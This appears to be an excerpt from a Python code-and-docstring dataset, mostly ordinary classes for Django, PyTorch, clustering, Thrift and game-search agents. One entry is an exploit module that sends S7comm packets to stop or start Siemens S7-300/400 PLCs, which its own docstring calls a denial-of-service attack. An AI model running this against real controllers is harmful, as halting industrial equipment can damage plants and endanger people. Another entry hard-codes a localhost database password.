code stringlengths 4 4.48k | docstring stringlengths 1 6.45k | _id stringlengths 24 24 |
|---|---|---|
class HandlerMetaClass(type): <NEW_LINE> <INDENT> def __new__(cls, name, bases, attrs): <NEW_LINE> <INDENT> new_cls = type.__new__(cls, name, bases, attrs) <NEW_LINE> def already_registered(model, anon): <NEW_LINE> <INDENT> for k, (m, a) in typemapper.iteritems(): <NEW_LINE> <INDENT> if model == m and anon == a: <NEW_LINE> <INDENT> return k <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> if hasattr(new_cls, 'model'): <NEW_LINE> <INDENT> if already_registered(new_cls.model, new_cls.is_anonymous): <NEW_LINE> <INDENT> if not getattr(settings, 'PISTON_IGNORE_DUPE_MODELS', False): <NEW_LINE> <INDENT> warnings.warn("Handler already registered for model %s, " "you may experience inconsistent results." % new_cls.model.__name__) <NEW_LINE> <DEDENT> <DEDENT> typemapper[new_cls] = (new_cls.model, new_cls.is_anonymous) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> typemapper[new_cls] = (None, new_cls.is_anonymous) <NEW_LINE> <DEDENT> if name not in ('BaseHandler', 'AnonymousBaseHandler'): <NEW_LINE> <INDENT> handler_tracker.append(new_cls) <NEW_LINE> <DEDENT> return new_cls | Metaclass that keeps a registry of class -> handler
mappings. | 62598fd9c4546d3d9def7541 |
class InvalidJp2kError(RuntimeError): <NEW_LINE> <INDENT> pass | Raise this exception in case we cannot parse a valid JP2 file. | 62598fd9956e5f7376df593c |
class ST_LSTMCell(nn.Module): <NEW_LINE> <INDENT> def __init__(self, input_size, hidden_size, use_bias=True): <NEW_LINE> <INDENT> super(ST_LSTMCell, self).__init__() <NEW_LINE> self.input_size = input_size <NEW_LINE> self.hidden_size = hidden_size <NEW_LINE> self.use_bias = use_bias <NEW_LINE> self.weight_ih = nn.Parameter( torch.FloatTensor(input_size, 5 * hidden_size)) <NEW_LINE> self.weight_hh_t = nn.Parameter( torch.FloatTensor(hidden_size, 5 * hidden_size)) <NEW_LINE> self.weight_hh_s = nn.Parameter( torch.FloatTensor(hidden_size, 5 * hidden_size)) <NEW_LINE> if use_bias: <NEW_LINE> <INDENT> self.bias = nn.Parameter(torch.FloatTensor(5 * hidden_size)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.register_parameter('bias', None) <NEW_LINE> <DEDENT> self.reset_parameters() <NEW_LINE> <DEDENT> def reset_parameters(self): <NEW_LINE> <INDENT> stdv = 1.0 / math.sqrt(self.hidden_size) <NEW_LINE> for weight in self.parameters(): <NEW_LINE> <INDENT> weight.data.uniform_(-stdv, stdv) <NEW_LINE> <DEDENT> if self.use_bias: <NEW_LINE> <INDENT> self.bias.data.fill_(0) <NEW_LINE> <DEDENT> <DEDENT> def forward(self, x, h_t_1, h_s_1): <NEW_LINE> <INDENT> batch_size = x.size(0) <NEW_LINE> if self.use_bias: <NEW_LINE> <INDENT> bias_batch = (self.bias.unsqueeze(0) .expand(batch_size, *self.bias.size())) <NEW_LINE> wh_t_b = torch.addmm(bias_batch, h_t_1[0], self.weight_hh_t) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> wh_t_b = torch.mm(h_t_1[0], self.weight_hh_t) <NEW_LINE> <DEDENT> wh_s = torch.mm(h_s_1[0], self.weight_hh_s) <NEW_LINE> wi = torch.mm(x, self.weight_ih) <NEW_LINE> f_t, f_s, i, o, g = torch.split(wh_t_b + wh_s + wi, split_size=self.hidden_size, dim=1) <NEW_LINE> c = torch.sigmoid(i)*torch.tanh(g) + torch.sigmoid(f_t)*h_t_1[1] + torch.sigmoid(f_s)*h_s_1[1] <NEW_LINE> h = torch.sigmoid(o)*torch.tanh(c) <NEW_LINE> return h,c | A basic LSTM cell. | 62598fd9ad47b63b2c5a7dd1 |
class PIC(): <NEW_LINE> <INDENT> def __init__(self, args=None, sigma=0.2, nnn=5, alpha=0.001, distribute_singletons=True): <NEW_LINE> <INDENT> self.sigma = sigma <NEW_LINE> self.alpha = alpha <NEW_LINE> self.nnn = nnn <NEW_LINE> self.distribute_singletons = distribute_singletons <NEW_LINE> <DEDENT> def cluster(self, data, verbose=False): <NEW_LINE> <INDENT> end = time.time() <NEW_LINE> xb = preprocess_features(data) <NEW_LINE> I, D = make_graph(xb, self.nnn) <NEW_LINE> clust = run_pic(I, D, self.sigma, self.alpha) <NEW_LINE> pixels_lists = {} <NEW_LINE> for h in set(clust): <NEW_LINE> <INDENT> pixels_lists[h] = [] <NEW_LINE> <DEDENT> for data, c in enumerate(clust): <NEW_LINE> <INDENT> pixels_lists[c].append(data) <NEW_LINE> <DEDENT> if self.distribute_singletons: <NEW_LINE> <INDENT> clust_NN = {} <NEW_LINE> for i in pixels_lists: <NEW_LINE> <INDENT> if len(pixels_lists[i]) == 1: <NEW_LINE> <INDENT> s = pixels_lists[i][0] <NEW_LINE> for n in I[s, 1:]: <NEW_LINE> <INDENT> if not len(pixels_lists[clust[n]]) == 1: <NEW_LINE> <INDENT> clust_NN[s] = n <NEW_LINE> break <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> <DEDENT> for s in clust_NN: <NEW_LINE> <INDENT> del pixels_lists[clust[s]] <NEW_LINE> clust[s] = clust[clust_NN[s]] <NEW_LINE> pixels_lists[clust[s]].append(s) <NEW_LINE> <DEDENT> <DEDENT> self.pixels_lists = [] <NEW_LINE> for c in pixels_lists: <NEW_LINE> <INDENT> self.pixels_lists.append(pixels_lists[c]) <NEW_LINE> <DEDENT> if verbose: <NEW_LINE> <INDENT> print('pic time: {0:.0f} s'.format(time.time() - end)) <NEW_LINE> <DEDENT> return 0 | Class to perform Power Iteration Clustering on a graph of nearest neighbors.
Args:
args: for consistency with k-means init
sigma (float): bandwith of the Gaussian kernel (default 0.2)
nnn (int): number of nearest neighbors (default 5)
alpha (float): parameter in PIC (default 0.001)
distribute_singletons (bool): If True, reassign each singleton to
the cluster of its closest non
singleton nearest neighbors (up to nnn
nearest neighbors).
Attributes:
pixels_lists (list of list): for each cluster, the list of image indexes
belonging to this cluster | 62598fd93617ad0b5ee066c6 |
class AR(mva.MVA): <NEW_LINE> <INDENT> def __init__(self, features, categories, num_categories): <NEW_LINE> <INDENT> super(AR, self).__init__(features, categories, num_categories) <NEW_LINE> self.max_model_order = int(2.0 * numpy.sqrt(self.num_samples)) <NEW_LINE> <DEDENT> def calc_coef(self, i, j): <NEW_LINE> <INDENT> data1 = self.features[(self.max_model_order - i):(self.num_samples - i),] <NEW_LINE> data2 = self.features[(self.max_model_order - j):(self.num_samples - j),] <NEW_LINE> temp = min(data1.shape[0], data2.shape[0]) <NEW_LINE> return reduce((lambda a,b:a+b), [numpy.dot(data1[tmp,], data2[tmp,]) for tmp in range(temp)]) <NEW_LINE> <DEDENT> def get_noise(self, n, m): <NEW_LINE> <INDENT> if m == 0: <NEW_LINE> <INDENT> noise_coef = [] <NEW_LINE> noise_var = self.calc_coef(0, 0) / n <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> right_matrix = numpy.matrix([[self.calc_coef(tmp, 0)] for tmp in range(1, m+1)]) <NEW_LINE> left_matrix = numpy.matrix([[self.calc_coef(tmp, tmp2) for tmp2 in range(1, m+1)] for tmp in range(1, m+1)]) <NEW_LINE> noise_coef = numpy.dot(numpy.linalg.pinv(left_matrix), right_matrix) <NEW_LINE> temp = [noise_coef[tmp,] * self.calc_coef(tmp+1, 0) for tmp in range(m)] <NEW_LINE> noise_var = (self.calc_coef(0, 0) - reduce((lambda a,b:a+b), temp)) / n <NEW_LINE> <DEDENT> return noise_coef, noise_var <NEW_LINE> <DEDENT> def run(self): <NEW_LINE> <INDENT> aics = [] <NEW_LINE> n = self.num_samples - self.max_model_order <NEW_LINE> self.features -= numpy.mean(self.features, axis=0) <NEW_LINE> for m in range(self.max_model_order + 1): <NEW_LINE> <INDENT> noise_coef, noise_var = self.get_noise(n, m) <NEW_LINE> aic = n * (numpy.log(2.0 * numpy.pi) + 1.0) + n * numpy.log(noise_var) + 2.0 * (m + 1.0) <NEW_LINE> aics.append(aic) <NEW_LINE> <DEDENT> temp = [(tmp, aics[tmp]) for tmp in range(len(aics))] <NEW_LINE> temp.sort() <NEW_LINE> return temp[0][0] <NEW_LINE> <DEDENT> def set_max_model_order(max_model_order): <NEW_LINE> <INDENT> self.max_model_order = max_model_order | Auto-regressive model
| 62598fd9656771135c489bf0 |
class FloatOpt(Opt): <NEW_LINE> <INDENT> _convert_value = float <NEW_LINE> @staticmethod <NEW_LINE> def _validate_value(value): <NEW_LINE> <INDENT> if not isinstance(value, float): <NEW_LINE> <INDENT> raise ValueError("Value is not an float") <NEW_LINE> <DEDENT> <DEDENT> def _get_argparse_kwargs(self, group, **kwargs): <NEW_LINE> <INDENT> return super(FloatOpt, self)._get_argparse_kwargs(group, type=float, **kwargs) | Float opt values are converted to floats using the float() builtin. | 62598fd9ad47b63b2c5a7dd2 |
class ReportDEC(models.Model): <NEW_LINE> <INDENT> report = models.ForeignKey(Report) <NEW_LINE> location = models.ForeignKey(Lieu) <NEW_LINE> death_code = models.ForeignKey(DeathCode) <NEW_LINE> def __unicode__(self): <NEW_LINE> <INDENT> return self.report.text | In this model will be stored DEC (Rapport de deces) reports | 62598fd9a219f33f346c6d86 |
class FlightSchedule(BaseModel): <NEW_LINE> <INDENT> boarding_time: Optional[str] <NEW_LINE> departure_time: str <NEW_LINE> arrival_time: Optional[str] | https://developers.facebook.com/docs/messenger-platform/reference/templates/airline-itinerary#flight_schedule | 62598fd9283ffb24f3cf3e02 |
class Event(db.Model): <NEW_LINE> <INDENT> id = sa.Column(UUIDType, primary_key=True, default=uuid.uuid4) <NEW_LINE> application = sa.Column(sa.String) <NEW_LINE> model = sa.Column(sa.String) <NEW_LINE> execution_timestamp = sa.Column(sa.DateTime) <NEW_LINE> site_id = sa.Column(sa.String) <NEW_LINE> building_id = sa.Column(sa.String) <NEW_LINE> floor_id = sa.Column(sa.String) <NEW_LINE> space_id = sa.Column(sa.String) <NEW_LINE> sensor_ids = sa.Column(sa.String()) <NEW_LINE> level = sa.Column(sa.String) <NEW_LINE> category = sa.Column(sa.String) <NEW_LINE> start_time = sa.Column(sa.DateTime) <NEW_LINE> end_time = sa.Column(sa.DateTime) <NEW_LINE> reliability = sa.Column(sa.Float) <NEW_LINE> description = sa.Column(sa.String) | Event model class | 62598fd97cff6e4e811b5faa |
class Description(object): <NEW_LINE> <INDENT> def __init__(self, handle, short_title, title = None, markup_types=None, locale = "en-US", events = []): <NEW_LINE> <INDENT> self._handle = handle <NEW_LINE> self._short_title = short_title <NEW_LINE> self._title = title or short_title <NEW_LINE> self._markup_types = markup_types or dict({"text/html": Portlet.MarkupType()}) <NEW_LINE> self._locale = locale <NEW_LINE> self._events = events <NEW_LINE> <DEDENT> @property <NEW_LINE> def short_title(self): <NEW_LINE> <INDENT> return self._short_title <NEW_LINE> <DEDENT> @property <NEW_LINE> def title(self): <NEW_LINE> <INDENT> return self._title <NEW_LINE> <DEDENT> @property <NEW_LINE> def handle(self): <NEW_LINE> <INDENT> return self._handle <NEW_LINE> <DEDENT> @property <NEW_LINE> def markup_types(self): <NEW_LINE> <INDENT> return self._markup_types <NEW_LINE> <DEDENT> @property <NEW_LINE> def locale(self): <NEW_LINE> <INDENT> return self._locale <NEW_LINE> <DEDENT> @property <NEW_LINE> def events(self): <NEW_LINE> <INDENT> return self._events | Instances of this class are used by portlets to inform the
portal about their capabilities. See :meth:`~.description`. | 62598fd9dc8b845886d53b3e |
class Arcfour(_CryptographyCipher): <NEW_LINE> <INDENT> Name = 'arcfour' <NEW_LINE> KEY_SIZE = 16 <NEW_LINE> ALGORITHM = algorithms.ARC4 | This is a terrible algorithm and you should not use it. Instead, use
'arcfour128' or 'arcfour256'. | 62598fda956e5f7376df593e |
class VehicleManufacturer(object): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.builder = None <NEW_LINE> <DEDENT> def create(self): <NEW_LINE> <INDENT> assert not self.builder is None, "No defined builder" <NEW_LINE> self.builder.make_wheels() <NEW_LINE> self.builder.make_doors() <NEW_LINE> self.builder.make_seats() <NEW_LINE> return self.builder.vehicle | The director class, this will keep a concrete builder. | 62598fdaab23a570cc2d502f |
class ToteAutonomous(StatefulAutonomous): <NEW_LINE> <INDENT> MODE_NAME='Tote Pickup' <NEW_LINE> DEFAULT = False <NEW_LINE> tote_forklift = ToteForklift <NEW_LINE> drive = Drive <NEW_LINE> def initialize(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> @timed_state(duration=.5, next_state='get_tote1', first=True) <NEW_LINE> def calibrate(self, initial_call): <NEW_LINE> <INDENT> if initial_call: <NEW_LINE> <INDENT> self.tote_forklift.set_pos_bottom() <NEW_LINE> <DEDENT> if self.tote_forklift.isCalibrated: <NEW_LINE> <INDENT> self.next_state('get_tote1') <NEW_LINE> <DEDENT> <DEDENT> @timed_state(duration=1, next_state='wait_tote1') <NEW_LINE> def get_tote1(self): <NEW_LINE> <INDENT> self.drive.move(-.3, 0, 0) <NEW_LINE> self.tote_forklift.set_pos_stack1() <NEW_LINE> <DEDENT> @timed_state(duration=2, next_state='goto_tote2') <NEW_LINE> def wait_tote1(self): <NEW_LINE> <INDENT> self.drive.move(0, 0, 0) <NEW_LINE> <DEDENT> @timed_state(duration=1, next_state='get_tote2') <NEW_LINE> def goto_tote2(self): <NEW_LINE> <INDENT> self.drive.move(-.3, 0, 0) <NEW_LINE> <DEDENT> @timed_state(duration=1, next_state='backwards') <NEW_LINE> def get_tote2(self): <NEW_LINE> <INDENT> self.drive.move(-.3, 0, 0) <NEW_LINE> self.tote_forklift.set_pos_stack2() <NEW_LINE> <DEDENT> @timed_state(duration=4.3) <NEW_LINE> def backwards(self): <NEW_LINE> <INDENT> self.drive.move(.25, 0, 0) | Gets two grey totes and drives back into autozone | 62598fda099cdd3c636756a0 |
class SMAClassifier(BaseSMA): <NEW_LINE> <INDENT> def __init__(self, pom: ClassifierMixin, name: Optional[str]=None) -> None: <NEW_LINE> <INDENT> if not isinstance(pom, ClassifierMixin): <NEW_LINE> <INDENT> raise TypeError("set Classifier as pom.") <NEW_LINE> <DEDENT> super().__init__(pom, "classification", name) | Separate-Model Approach for Classification. | 62598fda0fa83653e46f546d |
class AllocationProvider(object): <NEW_LINE> <INDENT> def __init__(self, name, available): <NEW_LINE> <INDENT> self.name = name <NEW_LINE> self.available = available <NEW_LINE> self.sub_requests = [] <NEW_LINE> self.grants = [] <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return '<AllocationProvider %s>' % self.name <NEW_LINE> <DEDENT> def makeGrants(self): <NEW_LINE> <INDENT> reqs = self.sub_requests[:] <NEW_LINE> reqs.sort(lambda a, b: cmp(a.getPriority(), b.getPriority())) <NEW_LINE> for req in reqs: <NEW_LINE> <INDENT> total_requested = 0.0 <NEW_LINE> reqs_at_this_level = [r for r in reqs if r.getPriority() == req.getPriority()] <NEW_LINE> for r in reqs_at_this_level: <NEW_LINE> <INDENT> total_requested += r.amount <NEW_LINE> <DEDENT> if total_requested: <NEW_LINE> <INDENT> ratio = float(req.amount) / total_requested <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> ratio = 0.0 <NEW_LINE> <DEDENT> grant = int(round(req.amount * ratio)) <NEW_LINE> grant = min(grant, self.available) <NEW_LINE> req.grant(grant) | A node provider and its capacity. | 62598fda7cff6e4e811b5fae |
class Topic(models.Model): <NEW_LINE> <INDENT> text = models.CharField(max_length=200) <NEW_LINE> date_added = models.DateTimeField(auto_now_add=True) <NEW_LINE> owner = models.ForeignKey(User, on_delete=models.CASCADE) <NEW_LINE> def __str__(self): <NEW_LINE> <INDENT> return self.text | A topic the user is learning about | 62598fda3617ad0b5ee066cc |
class Exploit(exploits.Exploit): <NEW_LINE> <INDENT> __info__ = { 'name': 'S7-300/400 PLC Control', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>', ], 'description': 'Use S7comm command to start/stop plc.', 'references': [ ], 'devices': [ 'Siemens S7-300 and S7-400 programmable logic controllers (PLCs)', ], } <NEW_LINE> target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4) <NEW_LINE> port = exploits.Option(102, 'Target Port', validators=validators.integer) <NEW_LINE> slot = exploits.Option(2, 'CPU slot number.', validators=validators.integer) <NEW_LINE> command = exploits.Option(2, 'Command 1:start plc, 2:stop plc.', validators=validators.integer) <NEW_LINE> sock = None <NEW_LINE> def create_connect(self, slot): <NEW_LINE> <INDENT> slot_num = chr(slot) <NEW_LINE> create_connect_payload = '0300001611e00000001400c1020100c20201'.decode('hex') + slot_num + 'c0010a'.decode('hex') <NEW_LINE> self.sock.send(create_connect_payload) <NEW_LINE> self.sock.recv(1024) <NEW_LINE> self.sock.send(setup_communication_payload) <NEW_LINE> self.sock.recv(1024) <NEW_LINE> <DEDENT> def exploit(self): <NEW_LINE> <INDENT> self.sock = socket.socket() <NEW_LINE> self.sock.connect((self.target, self.port)) <NEW_LINE> self.create_connect(self.slot) <NEW_LINE> if self.command == 1: <NEW_LINE> <INDENT> print_status("Start plc") <NEW_LINE> self.sock.send(cpu_start_payload) <NEW_LINE> <DEDENT> elif self.command == 2: <NEW_LINE> <INDENT> print_status("Stop plc") <NEW_LINE> self.sock.send(cpu_stop_payload) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> print_error("Command %s didn't support" % self.command) <NEW_LINE> <DEDENT> <DEDENT> def run(self): <NEW_LINE> <INDENT> if self._check_alive(): <NEW_LINE> <INDENT> print_success("Target is alive") <NEW_LINE> print_status("Sending packet to target") <NEW_LINE> self.exploit() <NEW_LINE> if not self._check_alive(): <NEW_LINE> <INDENT> print_success("Target is down") <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> print_error("Target is not alive") <NEW_LINE> <DEDENT> <DEDENT> @mute <NEW_LINE> def check(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def _check_alive(self): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) <NEW_LINE> sock.settimeout(1) <NEW_LINE> sock.connect((self.target, self.port)) <NEW_LINE> sock.close() <NEW_LINE> <DEDENT> except Exception: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> return True | Exploit implementation for siemens S7-300 and S7-400 PLCs Dos vulnerability. | 62598fdac4546d3d9def7545 |
class TestModelAdmin(admin.ModelAdmin): <NEW_LINE> <INDENT> list_display = ('name', 'pic',) <NEW_LINE> list_filter = ('name',) <NEW_LINE> search_fields = ['name'] | Admin View for TestModel | 62598fdaadb09d7d5dc0aafe |
class RecordFailure: <NEW_LINE> <INDENT> def __init__(self, exception, when="setup"): <NEW_LINE> <INDENT> self.when = when <NEW_LINE> self.start = time.time() <NEW_LINE> self.stop = time.time() <NEW_LINE> try: <NEW_LINE> <INDENT> raise exception <NEW_LINE> <DEDENT> except Exception: <NEW_LINE> <INDENT> self.excinfo = ExceptionInfo() | Mock pytest internal reporter to emulate CallInfo.
Creates a class that can be safely passed into
pytest_runtest_makereport to add failure report based on an
arbitrary exception. | 62598fdafbf16365ca794645 |
class SpreadsheetAuth(HTTPRequest): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> self.redirect_uri = os.environ["SPREADSHEET_REDIRECT_URI"] <NEW_LINE> self.client_id = os.environ["SPREADSHEET_CLIENT_ID"] <NEW_LINE> self.client_secret = os.environ["SPREADSHEET_CLIENT_SECRET"] <NEW_LINE> <DEDENT> @functools.cached_property <NEW_LINE> def auth_url(self): <NEW_LINE> <INDENT> params = { "response_type": "code", "scope": SPREADSHEET_SCOPE, "redirect_uri": self.redirect_uri, "client_id": self.client_id, } <NEW_LINE> return f'{SPREADSHEET_OAUTH}?{parse.urlencode(params)}' <NEW_LINE> <DEDENT> async def fetch_credentials(self, auth_code): <NEW_LINE> <INDENT> payload = { "code": auth_code, "grant_type": "authorization_code", "redirect_uri": self.redirect_uri, "client_id": self.client_id, "client_secret": self.client_secret } <NEW_LINE> credentials = await self.post(SPREADSHEET_TOKEN, body=payload) <NEW_LINE> return credentials | Class that provides google auth interactions in spreadsheet scope. | 62598fdac4546d3d9def7546 |
class PyWord2number(PythonPackage): <NEW_LINE> <INDENT> homepage = "https://w2n.readthedocs.io" <NEW_LINE> pypi = "word2number/word2number-1.1.zip" <NEW_LINE> version('1.1', sha256='70e27a5d387f67b04c71fbb7621c05930b19bfd26efd6851e6e0f9969dcde7d0') <NEW_LINE> depends_on('py-setuptools', type='build') | This is a Python module to convert number words (eg.
twenty one) to numeric digits (21). It works for positive
numbers upto the range of 999,999,999,999 (i.e.
billions). | 62598fda283ffb24f3cf3e0a |
class TTransportBase(object): <NEW_LINE> <INDENT> def is_open(self): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def open(self): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def close(self): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def _read(self, sz): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def read(self, sz): <NEW_LINE> <INDENT> return readall(self._read, sz) <NEW_LINE> <DEDENT> def write(self, buf): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def flush(self): <NEW_LINE> <INDENT> raise NotImplementedError | Base class for Thrift transport layer. | 62598fda26238365f5fad0ec |
class ExprInfo(object): <NEW_LINE> <INDENT> def __init__(self, name, info): <NEW_LINE> <INDENT> self.name = name <NEW_LINE> self.info = info <NEW_LINE> <DEDENT> def __getitem__(self, key): <NEW_LINE> <INDENT> return self.info.__getitem__(key) <NEW_LINE> <DEDENT> def __getattr__(self, name): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> return self.info[name] <NEW_LINE> <DEDENT> except KeyError: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> <DEDENT> def __setitem__(self, key, elt): <NEW_LINE> <INDENT> self.info.__setitem__(key, elt) <NEW_LINE> <DEDENT> def __delitem__(self, key): <NEW_LINE> <INDENT> return self.info.__delitem__(key) <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return self.name <NEW_LINE> <DEDENT> def update(self, info): <NEW_LINE> <INDENT> self.name = info.name <NEW_LINE> for k in info.info: <NEW_LINE> <INDENT> self.info[k] = info.info[k] | Container for the information dictionary
attached to expressions | 62598fdaadb09d7d5dc0ab02 |
class IPList(Interface): <NEW_LINE> <INDENT> content_syntax = RpkiSignedChecklist_2021.IPList <NEW_LINE> def __init__(self, ip_resources: IpResourcesInfo): <NEW_LINE> <INDENT> data = [{"addressFamily": AFI[network.version], "iPAddressOrRange": ("addressPrefix", net_to_bitstring(network))} for network in ip_resources if isinstance(network, (ipaddress.IPv4Network, ipaddress.IPv6Network))] <NEW_LINE> super().__init__(data) | ASN.1 IPList type. | 62598fdad8ef3951e32c8120 |
class Flatten(Operator): <NEW_LINE> <INDENT> def __init__(self, axis=1): <NEW_LINE> <INDENT> super(Flatten, self).__init__() <NEW_LINE> self.axis = axis <NEW_LINE> <DEDENT> def forward(self, x): <NEW_LINE> <INDENT> self.shape = list(x.shape()) <NEW_LINE> shape, axis = self.shape, self.axis <NEW_LINE> assert axis <= len( shape) - 1 or axis >= 0, "the axis must be within (0, %d-1)" % len( shape) <NEW_LINE> new_shape = (1, int(np.prod(shape))) if axis == 0 else ( int(np.prod(shape[0:axis]).astype(int)), int(np.prod(shape[axis:]).astype(int))) <NEW_LINE> y = singa.Reshape(x, new_shape) <NEW_LINE> return y <NEW_LINE> <DEDENT> def backward(self, dy): <NEW_LINE> <INDENT> dx = singa.Reshape(dy, self.shape) <NEW_LINE> return dx | Flattens the input tensor into a 2D matrix. If input tensor has shape
`(d_0, d_1, ... d_n)` then the output will have shape `(d_0 X d_1 ...
d_(axis-1), d_axis X d_(axis+1) ... X dn)`. | 62598fda091ae356687051a6 |
class Raster(MaskSet): <NEW_LINE> <INDENT> @property <NEW_LINE> def masks(self): <NEW_LINE> <INDENT> rank = self.rank <NEW_LINE> length = (2**rank)**2 <NEW_LINE> if self.invert: <NEW_LINE> <INDENT> pixel = 0 <NEW_LINE> arr = array([[1 for x in range(0,length)] for y in range(0,length)]) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> pixel = 1 <NEW_LINE> arr = array([[0 for x in range(0,length)] for y in range(0,length)]) <NEW_LINE> <DEDENT> count = 0 <NEW_LINE> for mask in arr: <NEW_LINE> <INDENT> mask[count] = pixel <NEW_LINE> count += 1 <NEW_LINE> <DEDENT> arr = [ mask.reshape(self.res, self.res) for mask in arr] <NEW_LINE> return arr | raster masks | 62598fdac4546d3d9def7548 |
class AlphaBetaAgent(MultiAgentSearchAgent): <NEW_LINE> <INDENT> def getAction(self, gameState): <NEW_LINE> <INDENT> alpha = -sys.maxint <NEW_LINE> beta = +sys.maxint <NEW_LINE> return self.avalue(gameState, 0, 0, alpha, beta)[1] <NEW_LINE> util.raiseNotDefined() <NEW_LINE> <DEDENT> def avalue(self, gamestate, agentnum, currentDep, alpha, beta): <NEW_LINE> <INDENT> if gamestate.isWin(): <NEW_LINE> <INDENT> return self.evaluationFunction(gamestate), None <NEW_LINE> <DEDENT> elif gamestate.isLose(): <NEW_LINE> <INDENT> return self.evaluationFunction(gamestate), None <NEW_LINE> <DEDENT> elif currentDep == self.depth: <NEW_LINE> <INDENT> return self.evaluationFunction(gamestate), None <NEW_LINE> <DEDENT> elif agentnum==0: <NEW_LINE> <INDENT> return self.amaxvalue(gamestate, currentDep,alpha, beta) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return self.aminvalue(gamestate, agentnum, currentDep,alpha, beta) <NEW_LINE> <DEDENT> <DEDENT> def amaxvalue(self, gamestate, currentDep, alpha, beta): <NEW_LINE> <INDENT> v = (-sys.maxint, None) <NEW_LINE> legalA = gamestate.getLegalActions(0) <NEW_LINE> for a in legalA: <NEW_LINE> <INDENT> temp = self.avalue(gamestate.generateSuccessor(0, a), 1, currentDep,alpha, beta) <NEW_LINE> if temp[0] > v[0]: <NEW_LINE> <INDENT> v = (temp[0], a) <NEW_LINE> <DEDENT> if v[0] > beta: <NEW_LINE> <INDENT> return v <NEW_LINE> <DEDENT> alpha = max(alpha,v[0]) <NEW_LINE> <DEDENT> return v <NEW_LINE> <DEDENT> def aminvalue(self, gamestate, agentnum, currentDep, alpha, beta): <NEW_LINE> <INDENT> v = (sys.maxint, None) <NEW_LINE> if agentnum + 1 == gamestate.getNumAgents(): <NEW_LINE> <INDENT> currentDep = currentDep + 1 <NEW_LINE> nextagent = 0 <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> nextagent = agentnum + 1 <NEW_LINE> <DEDENT> legalA = gamestate.getLegalActions(agentnum) <NEW_LINE> for a in legalA: <NEW_LINE> <INDENT> temp = self.avalue(gamestate.generateSuccessor(agentnum, a), nextagent, currentDep,alpha, beta) <NEW_LINE> if temp[0] < v[0]: <NEW_LINE> <INDENT> v = (temp[0], a) <NEW_LINE> <DEDENT> if v[0]< alpha: <NEW_LINE> <INDENT> return v <NEW_LINE> <DEDENT> beta = min(beta,v[0]) <NEW_LINE> <DEDENT> return v <NEW_LINE> util.raiseNotDefined() | Your minimax agent with alpha-beta pruning (question 3) | 62598fdaab23a570cc2d5033 |
class TestIsStepwiseMotion(unittest.TestCase): <NEW_LINE> <INDENT> def test_ascending(self): <NEW_LINE> <INDENT> melody = [5, 6, 7] <NEW_LINE> position = 1 <NEW_LINE> self.assertTrue(is_stepwise_motion(melody, position)) <NEW_LINE> <DEDENT> def test_descending(self): <NEW_LINE> <INDENT> melody = [7, 6, 5] <NEW_LINE> position = 1 <NEW_LINE> self.assertTrue(is_stepwise_motion(melody, position)) <NEW_LINE> <DEDENT> def test_non_uniform_motion_down_up(self): <NEW_LINE> <INDENT> melody = [7, 6, 7] <NEW_LINE> position = 1 <NEW_LINE> self.assertFalse(is_stepwise_motion(melody, position)) <NEW_LINE> <DEDENT> def test_non_uniform_motion_up_down(self): <NEW_LINE> <INDENT> melody = [5, 6, 5] <NEW_LINE> position = 1 <NEW_LINE> self.assertFalse(is_stepwise_motion(melody, position)) <NEW_LINE> <DEDENT> def test_non_stepwise_motion_from(self): <NEW_LINE> <INDENT> melody = [8, 6, 5] <NEW_LINE> position = 1 <NEW_LINE> self.assertFalse(is_stepwise_motion(melody, position)) <NEW_LINE> <DEDENT> def test_non_stepwise_motion_to(self): <NEW_LINE> <INDENT> melody = [5, 6, 8] <NEW_LINE> position = 1 <NEW_LINE> self.assertFalse(is_stepwise_motion(melody, position)) | Ensures that a note is correctly identified as being part of some step-wise
movement in a single direction. | 62598fdaad47b63b2c5a7dde |
class DevConfig(Config): <NEW_LINE> <INDENT> SQLALCHEMY_DATABASE_URI = 'postgresql+psycopg2://joan:kyle@localhost/alert_emergency' <NEW_LINE> DEBUG = True | Development configuration child class
Args:
Config: The parent configuration class with General configuration settings | 62598fdafbf16365ca79464b |
class AutoscalingPolicyCpuUtilization(messages.Message): <NEW_LINE> <INDENT> utilizationTarget = messages.FloatField(1) | CPU utilization policy.
Fields:
utilizationTarget: The target utilization that the Autoscaler should
maintain. Must be a float value between (0, 1]. If not defined, the
default is 0.8. | 62598fda0fa83653e46f5475 |
